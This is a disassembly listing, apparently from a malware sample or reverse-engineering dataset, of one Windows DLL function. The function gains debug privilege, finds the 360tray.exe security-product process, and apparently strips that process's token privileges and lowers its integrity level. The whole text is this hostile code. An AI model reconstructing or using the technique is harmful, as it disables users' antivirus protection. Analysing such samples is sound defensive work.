Function at 0x10001220
Capabilities:
Acquire debug privileges
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x324
mov eax, dword [0x10075024]
xor eax, esp
mov dword [esp + 0x320], eax
push ebx
push esi
push edi
lea eax, [esp + 0x10]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x100012b2
lea eax, [esp + 0x28]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x100012ac
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
push 0
push 0
push 0x10
mov dword [esp + 0x48], eax
lea eax, [esp + 0x44]
push eax
push 0
push dword [esp + 0x24]
mov dword [esp + 0x50], 1
mov dword [esp + 0x58], ecx
mov dword [esp + 0x5c], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x100012b2
push dword [esp + 0x10]
call ebx
movups xmm0, xmmword [str.360tray.exe]
push 0x88
lea eax, [esp + 0x2a4]
movups xmmword [esp + 0x28c], xmm0
push 0
movq xmm0, qword [0x1001bb04]
push eax
movq qword [esp + 0x2a4], xmm0
call fcn.10005070
add esp, 0xc
lea eax, [esp + 0x5c]
xor edi, edi
push 0x228
push edi
push eax
call fcn.10005070
add esp, 0xc
mov dword [esp + 0x58], 0x22c
push edi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [esp + 0x58]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1000136e
lea eax, [esp + 0x288]
push eax
push 0x1001baf0
call fcn.10006e3a
add esp, 8
test eax, eax
je 0x1000136e
mov ebx, dword [sym.imp.KERNEL32.dll_Process32NextW]
lea eax, [esp + 0x58]
push eax
push esi
call ebx
mov edi, dword [esp + 0x60]
lea eax, [esp + 0x288]
push eax
lea eax, [esp + 0x80]
push eax
call fcn.10006e3a
add esp, 8
test eax, eax
jne 0x10001340
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push 0
push 0x1000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
lea eax, [esp + 0xc]
push eax
push 0xf01ff
push esi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea eax, [esp + 0x30]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0x34]
push 0
push 0
push 0x10
mov dword [esp + 0x58], eax
lea eax, [esp + 0x54]
push eax
push 0
push dword [esp + 0x20]
mov dword [esp + 0x60], 1
mov dword [esp + 0x68], ecx
mov dword [esp + 0x6c], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x100013f1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x320]
xor ecx, esp
call fcn.10003ad5
mov esp, ebp
pop ebp
ret
push ecx
mov ecx, dword [esp + 0x10]
mov edx, str.SeDebugPrivilege
call fcn.10001190
mov ecx, dword [esp + 0x10]
mov edx, str.SeChangeNotifyPrivilege
call fcn.10001190
mov ecx, dword [esp + 0x10]
mov edx, str.SeTcbPrivilege
call fcn.10001190
mov ecx, dword [esp + 0x10]
mov edx, str.SeImpersonatePrivilege
call fcn.10001190
mov ecx, dword [esp + 0x10]
mov edx, str.SeLoadDriverPrivilege
call fcn.10001190
mov ecx, dword [esp + 0x10]
mov edx, str.SeRestorePrivilege
call fcn.10001190
mov ecx, dword [esp + 0x10]
mov edx, str.SeBackupPrivilege
call fcn.10001190
mov ecx, dword [esp + 0x10]
mov edx, str.SeSecurityPrivilege
call fcn.10001190
mov ecx, dword [esp + 0x10]
mov edx, str.SeSystemEnvironmentPrivilege
call fcn.10001190
mov ecx, dword [esp + 0x10]
mov edx, str.SeIncreaseQuotaPrivilege
call fcn.10001190
mov ecx, dword [esp + 0x10]
mov edx, str.SeTakeOwnershipPrivilege
call fcn.10001190
mov ecx, dword [esp + 0x10]
mov edx, str.SeIncreaseBasePriorityPrivilege
call fcn.10001190
mov ecx, dword [esp + 0x10]
mov edx, str.SeShutdownPrivilege
call fcn.10001190
mov ecx, dword [esp + 0x10]
mov edx, str.SeAssignPrimaryTokenPrivilege
call fcn.10001190
add esp, 4
mov dword [esp + 0x24], 0
lea eax, [esp + 0x1c]
mov dword [esp + 0x24], 0
xorps xmm0, xmm0
mov dword [esp + 0x18], 0x20
movq qword [esp + 0x1c], xmm0
push eax
mov word [esp + 0x20], 0x101
mov byte [esp + 0x27], 0x10
mov dword [esp + 0x18], eax
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
add eax, 8
push eax
lea eax, [esp + 0x18]
push eax
push 0x19
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
push dword [esp + 0xc]
call ebx
push esi
call ebx
call fcn.10001540
mov ecx, dword [esp + 0x32c]
mov eax, 1
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10003ad5
mov esp, ebp
pop ebp
ret